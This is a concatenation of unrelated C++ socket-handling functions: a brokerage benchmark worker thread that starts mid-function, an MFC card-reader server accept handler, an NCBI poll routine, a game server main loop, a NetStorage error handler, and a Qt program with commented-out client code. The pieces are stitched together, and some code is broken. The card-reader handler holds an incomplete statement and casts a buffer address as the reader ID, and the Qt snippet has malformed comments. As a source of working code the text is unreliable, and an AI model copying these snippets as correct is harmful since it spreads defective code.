TRADE_ORDER: iRet = pThrParam->pBrokerageHouse->RunTradeOrder( &(pMessage->TxnInput.TradeOrderTxnInput), tradeOrder); break; #endif #ifdef TRADEMIX case TRADE_ORDER: iRet = pThrParam->pBrokerageHouse->RunTradeOrder( &(pMessage->TxnInput.TradeOrderTxnInput), tradeOrder); break; case TRADE_RESULT: iRet = pThrParam->pBrokerageHouse->RunTradeResult( &(pMessage->TxnInput.TradeResultTxnInput), tradeResult); break; #endif #ifdef TRADESTATUS case TRADE_STATUS: iRet = pThrParam->pBrokerageHouse->RunTradeStatus( &(pMessage->TxnInput.TradeStatusTxnInput), tradeStatus); break; #endif #ifdef TRADEUPDATE case TRADE_UPDATE: iRet = pThrParam->pBrokerageHouse->RunTradeUpdate( &(pMessage->TxnInput.TradeUpdateTxnInput), tradeUpdate); break; #endif /*case DATA_MAINTENANCE: iRet = pThrParam->pBrokerageHouse->RunDataMaintenance( &(pMessage->TxnInput.DataMaintenanceTxnInput), dataMaintenance); break; case TRADE_CLEANUP: iRet = pThrParam->pBrokerageHouse->RunTradeCleanup( &(pMessage->TxnInput.TradeCleanupTxnInput), tradeCleanup); break;*/ default: //cout << "wrong txn type" << endl; iRet = ERR_TYPE_WRONGTXN; } txn_cnt++; pDBConnection->txn_cnt = txn_cnt; if(txn_cnt==1)gettimeofday(&(t_start_values[pThrParam->t_id]), NULL); } catch (const char *str) { pDBConnection->rollback(); #ifdef CAL_RESP_TIME // gettimeofday(&t2, NULL); // exec_time = difftimeval(t2, t1); // txn_time += exec_time; //pDBConnection->append_profile_node(t1, t2, pMessage->TxnType, false); // pDBConnection->outfile<<"error: "<<str<<endl; //#ifdef PROFILE_EACH_QUERY // pDBConnection->print_profile_query(); //#endif // pDBConnection->outfile.flush(); #endif //ostringstream msg; //msg << time(NULL) << " " << (long long) pthread_self() << " " << // szTransactionName[pMessage->TxnType] << "; "<<str<<endl; //pThrParam->pBrokerageHouse->logErrorMessage(msg.str()); iRet = CBaseTxnErr::EXPECTED_ROLLBACK; //cout<<"query fail:"<<str<<endl; commit = false; abort_cnt++; pDBConnection->abort_cnt = abort_cnt; //XXX:debug for trade result } gettimeofday(&t2, NULL); exec_time = difftimeval(t2, t1); txn_time += exec_time; pDBConnection->txn_time = txn_time; #ifdef CAL_RESP_TIME // pDBConnection->append_profile_node(t1, t2, pMessage->TxnType, true); // pDBConnection->outfile<<commit<<" start=( "<<t1.tv_sec<<" "<<t1.tv_usec<<" ), end=( "<<t2.tv_sec<<" "<<t2.tv_usec<<" ), "<<exec_time<<", txn_cnt = "<<txn_cnt<<"total: "<<txn_time<<endl; #ifdef PROFILE_EACH_QUERY // pDBConnection->print_profile_query(); #endif // pDBConnection->outfile.flush(); #endif // send status to driver Reply.iStatus = iRet; try { sockDrv.dbt5Send(reinterpret_cast<void *>(&Reply), sizeof(Reply)); } catch(CSocketErr *pErr) { sockDrv.dbt5Disconnect(); ostringstream osErr; osErr << "Error on Send: " << pErr->ErrorText() << " at BrokerageHouse::workerThread" << endl; pThrParam->pBrokerageHouse->logErrorMessage(osErr.str()); delete pErr; // The socket has been closed, break and let this thread die. break; } } while (true); // delete pDBConnection; // close connection with the database close(pThrParam->iSockfd); // close socket connection with the driver delete pThrParam; delete pMessage; } catch (CSocketErr *err) { } return NULL; }
void CIPServer::OnAccept(int nErrorCode) { CCardSwipeServiceApp* pApp = (CCardSwipeServiceApp*)AfxGetApp(); CSocket newSocket; SOCKADDR saddr; char ch[96]; CString sAddress; CString sIPAddress, sError; long nCardReaderId = -1; int iReturn; this->Accept(newSocket); memset(&saddr,0,sizeof(SOCKADDR)); int iLen = sizeof(saddr); newSocket.GetSockName(&saddr,&iLen); // get dotted ip address lstrcpyA(ch,inet_ntoa(((SOCKADDR_IN*)&saddr)->sin_addr)); sIPAddress = ch; sAddress.Format("%s:%d",ch,((SOCKADDR_IN*)&saddr)->sin_port); // is this address in the database? OysterClassLibrary::IOysterPtr pOyster; OysterClassLibrary::ICardReaderPtr pCardReader; HRESULT hr = pOyster.CreateInstance(OysterClassLibrary::CLSID_Oyster); if (hr != ERROR_SUCCESS) { GetLastErrorString(sError,hr); throw CGeneralException("CIPServer::OnAccept","Could not create OysterClassLibrary object (%d): %s",hr,sError); } memset(ch,0,sizeof(ch)); iReturn = newSocket.Receive(ch,sizeof(ch)); if (iReturn <= 0) { // either closed or an error occured GetError(sError,iReturn); throw CGeneralException("CIPServer::OnAccept","Receive function failed (%d): %s",iReturn,sError); } nCardReaderId = (long)&ch[0]; pCardReader = pOyster->GetCardReaderById(nCardReaderId); if (pCardReader) { CVirtualCardReaderSocket* pNewSocket = new CVirtualCardReaderSocket(nCardReaderId); pNewSocket->Attach(newSocket.m_hSocket); newSocket.Detach(); pNewSocket->Send(ECMD_COMMANDSTRING[ECMD_CONNECTSUCCESS],strlen(ECMD_COMMANDSTRING[ECMD_CONNECTSUCCESS])); pApp->m_mapCardSwipeIdToCardSwipe pApp->m_vClients.push_back(pNewSocket); DebugTell(_T("New client connection from %s\n"),(LPCTSTR)sAddress); } else { // invalid connection, send notification newSocket.Send(ECMD_COMMANDSTRING[ECMD_ERRORCONNECT],strlen(ECMD_COMMANDSTRING[ECMD_ERRORCONNECT])); } pOyster.Release(); UNREFERENCED_PARAMETER(nErrorCode); CSocket::OnAccept(nErrorCode); }
EIO_Status CSocketAPI::Poll(vector<SPoll>& polls, const STimeout* timeout, size_t* n_ready) { static const STimeout kZero = {0, 0}; size_t x_n = polls.size(); SPOLLABLE_Poll* x_polls = 0; size_t x_ready = 0; if (x_n && !(x_polls = new SPOLLABLE_Poll[x_n])) return eIO_Unknown; for (size_t i = 0; i < x_n; i++) { CPollable* p = polls[i].m_Pollable; EIO_Event event = polls[i].m_Event; if (p && event) { CSocket* s = dynamic_cast<CSocket*> (p); if (!s) { CListeningSocket* ls = dynamic_cast<CListeningSocket*> (p); if (!ls) { CTrigger* tr = dynamic_cast<CTrigger*> (p); x_polls[i].poll = POLLABLE_FromTRIGGER(tr ? tr->GetTRIGGER() : 0); } else x_polls[i].poll = POLLABLE_FromLSOCK(ls->GetLSOCK()); polls[i].m_REvent = eIO_Open; } else { EIO_Event revent; if (s->GetStatus(eIO_Open) != eIO_Closed) { x_polls[i].poll = POLLABLE_FromSOCK(s->GetSOCK()); revent = eIO_Open; } else { x_polls[i].poll = 0; revent = eIO_Close; x_ready++; } polls[i].m_REvent = revent; } x_polls[i].event = event; } else { x_polls[i].poll = 0; polls[i].m_REvent = eIO_Open; } } size_t xx_ready; EIO_Status status = POLLABLE_Poll(x_n, x_polls, x_ready ? &kZero : timeout, &xx_ready); for (size_t i = 0; i < x_n; i++) { if (x_polls[i].revent) polls[i].m_REvent = x_polls[i].revent; } if (n_ready) *n_ready = xx_ready + x_ready; delete[] x_polls; return status; }
int main(int argc, char *argv[]) { #ifdef PSPSDK pspDebugScreenInit(); SetupCallbacks(); #else // Shut down the server if we get a kill signal. signal( SIGINT, (sighandler_t) shutdownServer ); signal( SIGTERM, (sighandler_t) shutdownServer ); #endif /* Setup Data-Directory */ dataDir = CBuffer(argv[0]).replaceAll("\\", "/"); dataDir = dataDir.copy(0, dataDir.findl('/') + 1); programDir = dataDir; dataDir << "world/"; /* Main Initiating */ adminNames.load( __admin, sizeof(__admin) / sizeof(const char*) ); colourNames.load( __colours, sizeof(__colours) / sizeof(const char*) ); clothCommands.load( __cloths, sizeof(__cloths) / sizeof(const char*) ); defaultFiles.load( __defaultfiles, sizeof(__defaultfiles) / sizeof(const char*) ); playerIds.add(0); playerIds.add(0); npcIds.add(0); srand((int)time(NULL)); /* Load Important Files */ updateFile("rchelp.txt"); updateFile("rcmessage.txt"); updateFile("rules.txt"); updateFile("serverflags.txt"); updateFile("servermessage.html"); updateFile("foldersconfig.txt"); /* Load Settings */ if (!loadSettings("serveroptions.txt")) { errorOut("errorlog.txt", "Unable to load server settings.."); return 1; } /* Load Weapons */ if (!loadWeapons("weapons.txt")) { errorOut("errorlog.txt", "Unable to load weapons from weapons.txt.."); return 1; } /* Initialize Sockets */ serverSock.setType( SOCKET_TYPE_SERVER ); serverSock.setProtocol( SOCKET_PROTOCOL_TCP ); serverSock.setOptions( SOCKET_OPTION_NONBLOCKING ); serverSock.setDescription( "serverSock" ); CString empty; if ( serverSock.init( empty, serverPort ) ) return 1; // Connect server socket. if ( serverSock.connect() ) { errorOut("errorlog.txt", CString() << "SOCK ERROR: Unable to listen on port: " << serverPort); return 1; } /* Server Finished Loading */ printf("GServer 2 by 39ster\nSpecial thanks to Marlon, Agret, Pac300, 39ster and others for porting the \noriginal 1.39 gserver to 2.1\nServer listening on port: %s\nServer version: Build %s\n\n", serverPort.text(), listServerFields[3].text()); errorOut("serverlog.txt", "Server started"); if ( listServerFields[5] == "localhost" ) errorOut("serverlog.txt", "[DEBUG_LOCALHOSTMODE] Localhost mode is activated.\nListserver communication & account authentication are disabled.", true); serverRunning = true; if ( !(listServerFields[5] == "localhost") ) if (!lsConnected) ListServer_Connect(); while (serverRunning) { long long second = time(NULL); while (second == time(NULL)) { acceptNewPlayers(serverSock); for (int i = 0; i < newPlayers.count(); i ++) { CPlayer* player = (CPlayer*)newPlayers[i]; player->main(); if (player->deleteMe) { delete player; i--; } } for(int i = 0; i < playerList.count(); i++) { CPlayer* player = (CPlayer*)playerList[i]; player->main(); if(player->deleteMe) { delete player; i--; } } // Was moved so it can process faster. - Joey ListServer_Main(); wait(10); } doTimer(); gameTime ++; NOLEVEL->reset(); // Every 30 seconds if (gameTime % 30 == 0) { ListServer_Send(CPacket() << (char)SLSPING << "\n"); } // Every 10 seconds if (gameTime % 10 == 0) { CPacket pPacket; CString file; for (int i = 0; i < playerList.count(); i++) { CPlayer *player = (CPlayer *)playerList[i]; file << player->accountName << "," << player->nickName << "," << player->levelName << "," << toString(player->x) << "," << toString(player->y) << "," << toString(player->ap) << "\n"; } file.save("logs/playerlist.txt"); serverFlags.save("serverflags.txt"); } //Every 5 seconds? int current = getNWTime(); if (nwTime != current) { nwTime = current; for (int i = 0; i < playerList.count(); i++) { CPacket out; out << (char)NEWWORLDTIME; out.writeByte4(current); ((CPlayer*)playerList[i])->sendPacket(out); } } } }
static void s_TrapErrors(const CJsonNode& request, const CJsonNode& reply, CSocket& sock, SNetStorage::SConfig::EErrMode err_mode) { const string server_address(sock.GetPeerAddress()); CJsonNode issues(reply.GetByKeyOrNull("Warnings")); if (issues) { for (CJsonIterator it = issues.Iterate(); it; ++it) { const SIssue issue(*it); LOG_POST(Warning << "NetStorage server " << server_address << " issued warning " << issue); } } const string status = reply.GetString("Status"); const bool status_ok = status == "OK"; issues = reply.GetByKeyOrNull("Errors"); // Got errors if (!status_ok || issues) { if (status_ok && err_mode != SNetStorage::SConfig::eThrow) { if (err_mode == SNetStorage::SConfig::eLog) { for (CJsonIterator it = issues.Iterate(); it; ++it) { const SIssue issue(*it); LOG_POST(Error << "NetStorage server " << server_address << " issued error " << issue); } } } else { Int8 code = CNetStorageServerError::eUnknownError; Int8 sub_code = SIssue::kEmptySubCode; ostringstream errors; if (!issues) errors << status; else { const char* prefix = "error "; for (CJsonIterator it = issues.Iterate(); it; ++it) { const SIssue issue(*it); code = issue.code; sub_code = issue.sub_code; errors << prefix << issue; prefix = ", error "; } } string err_msg = FORMAT("Error while executing " << request.GetString("Type") << " " "on NetStorage server " << sock.GetPeerAddress() << ". " "Server returned " << errors.str()); s_ThrowError(code, sub_code, err_msg); } } if (reply.GetInteger("RE") != request.GetInteger("SN")) { NCBI_THROW_FMT(CNetStorageException, eServerError, "Message serial number mismatch " "(NetStorage server: " << sock.GetPeerAddress() << "; " "request: " << request.Repr() << "; " "reply: " << reply.Repr() << ")."); } }
int main(int argc, char *argv[]) { QCoreApplication a(argc, argv); void (*pcalbak)(int*) = my_callbak_func; cSock.setReadDataFunc(pcalbak); cSock.setReadString(&my_callback_string); cSock.conectar(); pthread_t thread_id; pthread_create(&thread_id, NULL, &readSick, NULL); /* string sTestSplit="hola mundo 123"; cout << "texto test: " << sTestSplit.c_str() <<endl; char str[80] = "This is - www.tutorialspoint.com - website"; char s[2] = " "; char *token; * / /* get the first token * / //token = strtok(str, s); /* walk through other tokens * / /* while( token != NULL ) { printf( "%s\n", token ); token = strtok(NULL, s); } * / // cSock.close_conn(); // SocketTest cTest; // cTest.Connect(); /* cout << "Hello World!" << endl; string one = "#"; string two = "sRI 00 1"; string tre = "$"; one[0] = 2; tre[0] = 3; cout << "one_len: " << one.length() <<endl; cout << "two_len: " << two.length() <<endl; cout << "three_len: " << tre.length() <<endl; string dat = one + two + tre; cout << "dat_len: " << dat.length() <<endl; cout << "data: " << dat.c_str() <<endl; char *x= new char[50]; strcpy (x, dat.c_str()); cout << "datx: " << (int)x[0] <<endl; int sockfd, portno, n; struct sockaddr_in serv_addr; struct hostent *server; char buffer[256]; portno = 2111; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) cout<<"ERROR opening socket"<<endl; server = gethostbyname("192.168.0.180"); if (server == NULL) { fprintf(stderr,"ERROR, no such host\n"); exit(0); } bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(portno); if (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) cout<<"ERROR connecting"<<endl; printf("Please enter the message: "); bzero(buffer,256); fgets(buffer,255,stdin); n = write(sockfd,buffer,strlen(buffer)); if (n < 0) cout<<"ERROR writing to socket"<<endl; bzero(buffer,256); n = read(sockfd,buffer,255); if (n < 0) cout<<"ERROR reading from socket"<<endl; printf("%s\n",buffer); close(sockfd); * / /*cThread th; cout<<"hoila main"<<endl; th.create(); */ //while (1) { fputc ('ox', stderr); sleep(5); } return a.exec(); }